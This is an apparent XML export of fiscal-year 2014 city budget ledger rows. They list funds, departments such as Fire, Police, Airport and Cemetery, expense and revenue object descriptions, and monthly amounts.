<row _id="10972"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1568.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1568.0</total></row>
<row _id="10973"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>215.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>215.0</total></row>
<row _id="10974"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401680.0</object><object_description>UNDERGROUND TANK PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-34850.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-34850.0</total></row>
<row _id="10975"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3325.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3325.0</total></row>
<row _id="10976"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556100.0</object><object_description>EMBALMING/CREMATION/DECEDENT C</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>60000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>60000.0</total></row>
<row _id="10977"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>390.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>390.0</total></row>
<row _id="10978"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>816.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>816.0</total></row>
<row _id="10979"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>65143.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>1045</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>66188.0</total></row>
<row _id="10980"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1046.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1046.0</total></row>
<row _id="10981"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>618.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>618.0</total></row>
<row _id="10982"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2050.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2050.0</total></row>
<row _id="10983"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533250.0</object><object_description>RESTROOM MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15300.0</total></row>
<row _id="10984"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1270.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>18</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1288.0</total></row>
<row _id="10985"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>405750.0</object><object_description>VEHICLE MAINTENANCE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-5623563.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5623563.0</total></row>
<row _id="10986"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>405760.0</object><object_description>ENHANCEMENT PURCHASES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-46125.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>-97730</april><may>0</may><june>-533139.0</june><total>-676994.0</total></row>
<row _id="10987"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>48590.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>48590.0</total></row>
<row _id="10988"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1035.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1035.0</total></row>
<row _id="10989"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11433.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11433.0</total></row>
<row _id="10990"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>654.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>654.0</total></row>
<row _id="10991"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20303.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20303.0</total></row>
<row _id="10992"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13340.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13340.0</total></row>
<row _id="10993"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5919.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5919.0</total></row>
<row _id="10994"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2614.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2614.0</total></row>
<row _id="10995"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>130.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>130.0</total></row>
<row _id="10996"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533070.0</object><object_description>AIRPORT SECURITY GUARDS TRANS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>653202.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>653202.0</total></row>
<row _id="10997"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>533170.0</object><object_description>AUDIO EQUIPMENT MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18505.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18505.0</total></row>
<row _id="10998"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>446052.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>446052.0</total></row>
<row _id="10999"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>566210.0</object><object_description>AIRPORT FIELD MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3764.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3764.0</total></row>
<row _id="11000"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>34257.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>34257.0</total></row>
<row _id="11001"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>401662.0</object><object_description>ASSFC PASS-THRU</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-200000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-200000.0</total></row>
<row _id="11002"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>555121.0</object><object_description>ASSFC PASS-THRU</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>200000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>200000.0</total></row>
<row _id="11003"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>MEDICAL-POLICE RETIREE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>101353.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>101353.0</total></row>
<row _id="11004"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>32780.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>32780.0</total></row>
<row _id="11005"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4200.0</total></row>
<row _id="11006"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10250.0</total></row>
<row _id="11007"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1230.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1230.0</total></row>
<row _id="11008"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="11009"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8951.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8951.0</total></row>
<row _id="11010"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1036.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1036.0</total></row>
<row _id="11011"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>10700</march><april>0</april><may>0</may><june>0.0</june><total>10700.0</total></row>
<row _id="11012"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5436.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5436.0</total></row>
<row _id="11013"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407861.0</object><object_description>VENDING MACH SALES-VAP</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-1300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>1300</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11014"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>566880.0</object><object_description>EXPLORER POST</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4606.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4606.0</total></row>
<row _id="11015"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="11016"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402161.0</object><object_description>NOISE ABATEMENT - AIRPORT</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-40000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-40000.0</total></row>
<row _id="11017"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>964.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>964.0</total></row>
<row _id="11018"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>407890.0</object><object_description>POLYSTYRENE BAN</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-500.0</total></row>
<row _id="11019"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4565.0</july><august>0</august><september>0</september><october>0</october><november>-134.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4431.0</total></row>
<row _id="11020"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>938.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>938.0</total></row>
